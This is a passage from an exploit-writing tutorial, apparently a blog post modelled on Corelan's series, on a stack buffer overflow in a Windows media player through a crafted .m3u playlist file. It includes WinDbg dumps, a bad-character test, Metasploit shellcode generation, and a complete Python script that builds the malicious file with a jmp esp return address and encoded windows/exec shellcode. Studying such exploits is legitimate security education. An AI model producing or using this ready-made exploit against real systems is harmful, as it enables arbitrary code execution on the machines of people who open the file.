"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2A\x2B\x2C\x2D\x2E\x2F\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3A\x3B\x3C\x3D\x3E\x3F\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x5B\x5C\x5D\x5E\x5F\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x7B\x7C\x7D\x7E\x7F\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xAB\xAC\xAD\xAE\xAF\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xBB\xBC\xBD\xBE\xBF\xC0\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\xD0\xD1\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xDB\xDC\xDD\xDE\xDF\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF\xF0\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFB\xFC\xFD\xFE\xFF"junk2 = "C" * (1000 - 42 - 4 - len(badchars))payload = junk + eip + badchars + junk2with open(media_file, 'w') as f:    f.write(payload)print "[+] m3u file created successfully !"

Reload application with Windbg, and we can find stack information:

0:000> reax=00000001 ebx=00104a58 ecx=7c91003d edx=00ce0000 esi=77c5fce0 edi=00006978eip=000ff730 esp=000ff730 ebp=003972f8 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206000ff730 0000            add     byte ptr [eax],al          ds:0023:00000001=??0:000> dd 000ff730-0x20 L40000ff710  41414141 41414141 41414141 41414141000ff720  41414141 41414141 7c86467b 00397200000ff730  00000000 00000006 00104a58 00000001000ff740  000ff53c 000ff75c 41414141 41414141000ff750  41414141 41414141 41414141 41414141000ff760  41414141 41414141 41414141 41414141000ff770  41414141 41414141 41414141 41414141000ff780  41414141 41414141 41414141 41414141000ff790  41414141 41414141 41414141 41414141000ff7a0  41414141 41414141 41414141 41414141000ff7b0  41414141 41414141 41414141 41414141000ff7c0  41414141 41414141 41414141 41414141000ff7d0  41414141 41414141 41414141 41414141000ff7e0  41414141 41414141 41414141 41414141000ff7f0  41414141 41414141 41414141 41414141000ff800  41414141 41414141 41414141 41414141

00 is a bad char here. We delete ‘\x00’ and repeat it.

(e4.f8): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=00080707 ebx=00104a58 ecx=7c91003d edx=00ce0000 esi=77c5fce0 edi=00006978eip=000ff735 esp=000ff730 ebp=003972f8 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202000ff735 0000            add     byte ptr [eax],al          ds:0023:00080707=??0:000> dd esp-0x10 L40000ff720  41414141 41414141 7c86467b 04030201000ff730  08070605 00000000 00104a58 00000001000ff740  000ff53c 000ff75c 41414141 41414141000ff750  41414141 41414141 41414141 41414141000ff760  41414141 41414141 41414141 41414141000ff770  41414141 41414141 41414141 41414141000ff780  41414141 41414141 41414141 41414141000ff790  41414141 41414141 41414141 41414141000ff7a0  41414141 41414141 41414141 41414141000ff7b0  41414141 41414141 41414141 41414141000ff7c0  41414141 41414141 41414141 41414141000ff7d0  41414141 41414141 41414141 41414141000ff7e0  41414141 41414141 41414141 41414141000ff7f0  41414141 41414141 41414141 41414141000ff800  41414141 41414141 41414141 41414141000ff810  41414141 41414141 41414141 41414141

As final, we can exclude ‘\x00\x09\x0a’


Get shellcode and finalize the exploit

Metasploit has a nice payload generator that will help you building shellcode. Payloads come with various options, and (depending on what they need to do), can be small or very large. If you have a size limitation in terms of buffer space, then you might even want to look at multi-staged shellcode, or using specifically handcrafted shellcodes such as this one (32byte cmd.exe shellcode for xp sp2 en).

Alternatively, you can split up your shellcode in smaller ‘eggs’ and use a technique called ‘egg-hunting’ to reassemble the shellcode before executing it. Tutorial 8 and 10 talk about egg hunting and omelet hunters.

msf > use payload/windows/execmsf payload(exec) > show options Module options (payload/windows/exec):   Name      Current Setting  Required  Description   ----      ---------------  --------  -----------   CMD                        yes       The command string to execute   EXITFUNC  process          yes       Exit technique (Accepted: , , seh, thread, process, none)msf payload(exec) > set CMD calc.exe CMD => calc.exemsf payload(exec) > generate -b '\x00\x09\x0a' -t py# windows/exec - 220 bytes# http://www.metasploit.com# Encoder: x86/shikata_ga_nai# VERBOSE=false, PrependMigrate=false, EXITFUNC=process, # CMD=calc.exebuf =  ""buf += "\xdb\xd0\xbb\x1f\x26\xa8\xb0\xd9\x74\x24\xf4\x58\x2b"buf += "\xc9\xb1\x31\x83\xc0\x04\x31\x58\x14\x03\x58\x0b\xc4"buf += "\x5d\x4c\xdb\x8a\x9e\xad\x1b\xeb\x17\x48\x2a\x2b\x43"buf += "\x18\x1c\x9b\x07\x4c\x90\x50\x45\x65\x23\x14\x42\x8a"buf += "\x84\x93\xb4\xa5\x15\x8f\x85\xa4\x95\xd2\xd9\x06\xa4"buf += "\x1c\x2c\x46\xe1\x41\xdd\x1a\xba\x0e\x70\x8b\xcf\x5b"buf += "\x49\x20\x83\x4a\xc9\xd5\x53\x6c\xf8\x4b\xe8\x37\xda"buf += "\x6a\x3d\x4c\x53\x75\x22\x69\x2d\x0e\x90\x05\xac\xc6"buf += "\xe9\xe6\x03\x27\xc6\x14\x5d\x6f\xe0\xc6\x28\x99\x13"buf += "\x7a\x2b\x5e\x6e\xa0\xbe\x45\xc8\x23\x18\xa2\xe9\xe0"buf += "\xff\x21\xe5\x4d\x8b\x6e\xe9\x50\x58\x05\x15\xd8\x5f"buf += "\xca\x9c\x9a\x7b\xce\xc5\x79\xe5\x57\xa3\x2c\x1a\x87"buf += "\x0c\x90\xbe\xc3\xa0\xc5\xb2\x89\xae\x18\x40\xb4\x9c"buf += "\x1b\x5a\xb7\xb0\x73\x6b\x3c\x5f\x03\x74\x97\x24\xfb"buf += "\x3e\xba\x0c\x94\xe6\x2e\x0d\xf9\x18\x85\x51\x04\x9b"buf += "\x2c\x29\xf3\x83\x44\x2c\xbf\x03\xb4\x5c\xd0\xe1\xba"buf += "\xf3\xd1\x23\xd9\x92\x41\xaf\x30\x31\xe2\x4a\x4d"

Finalize the python script, and try it out :

#!/usr/bin/env python# -*- coding: utf-8 -*-# 26000 --> 27000 crash the programmedia_file = "crash.m3u"junk = "\x41" * 26042eip = "\x7b\x46\x86\x7c"  # kernel32.dll - 0x7c86467b - jmp esp# windows/exec - 220 bytes# http://www.metasploit.com# Encoder: x86/shikata_ga_nai# VERBOSE=false, PrependMigrate=false, EXITFUNC=process,# CMD=calc.exebuf =  "\x90" * 0x10buf += "\xdb\xd0\xbb\x1f\x26\xa8\xb0\xd9\x74\x24\xf4\x58\x2b"buf += "\xc9\xb1\x31\x83\xc0\x04\x31\x58\x14\x03\x58\x0b\xc4"buf += "\x5d\x4c\xdb\x8a\x9e\xad\x1b\xeb\x17\x48\x2a\x2b\x43"buf += "\x18\x1c\x9b\x07\x4c\x90\x50\x45\x65\x23\x14\x42\x8a"buf += "\x84\x93\xb4\xa5\x15\x8f\x85\xa4\x95\xd2\xd9\x06\xa4"buf += "\x1c\x2c\x46\xe1\x41\xdd\x1a\xba\x0e\x70\x8b\xcf\x5b"buf += "\x49\x20\x83\x4a\xc9\xd5\x53\x6c\xf8\x4b\xe8\x37\xda"buf += "\x6a\x3d\x4c\x53\x75\x22\x69\x2d\x0e\x90\x05\xac\xc6"buf += "\xe9\xe6\x03\x27\xc6\x14\x5d\x6f\xe0\xc6\x28\x99\x13"buf += "\x7a\x2b\x5e\x6e\xa0\xbe\x45\xc8\x23\x18\xa2\xe9\xe0"buf += "\xff\x21\xe5\x4d\x8b\x6e\xe9\x50\x58\x05\x15\xd8\x5f"buf += "\xca\x9c\x9a\x7b\xce\xc5\x79\xe5\x57\xa3\x2c\x1a\x87"buf += "\x0c\x90\xbe\xc3\xa0\xc5\xb2\x89\xae\x18\x40\xb4\x9c"buf += "\x1b\x5a\xb7\xb0\x73\x6b\x3c\x5f\x03\x74\x97\x24\xfb"buf += "\x3e\xba\x0c\x94\xe6\x2e\x0d\xf9\x18\x85\x51\x04\x9b"buf += "\x2c\x29\xf3\x83\x44\x2c\xbf\x03\xb4\x5c\xd0\xe1\xba"buf += "\xf3\xd1\x23\xd9\x92\x41\xaf\x30\x31\xe2\x4a\x4d"junk2 = "C" * (1000 - 42 - 4 - len(buf))payload = junk + eip + buf + junk2with open(media_file, 'w') as f:    f.write(payload)print "[+] m3u file created successfully !"

Boom ! We have our first working exploit !

exploit-poc1

And you can also popup a message windows.

exploit-poc2


References

[1].https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/
[2].http://resources.infosecinstitute.com/metadata-and-information-security/
[3].http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-1-introduction/
[4].http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-2-exploiting-the-stack-overflow/
[5].https://samsclass.info/127/proj/easymp3-with-aslr.htm
[6].https://samsclass.info/127/proj/vuln-server.htm

Tools

  1. WinDbg
  2. Immunity Debugger
  3. Metasploit

Questions

  1. how to get stack structure details ? (EIP/ESP/EBP)
  2. how to get available stack size ?
  3. how to fuzz a executable file ?
0 0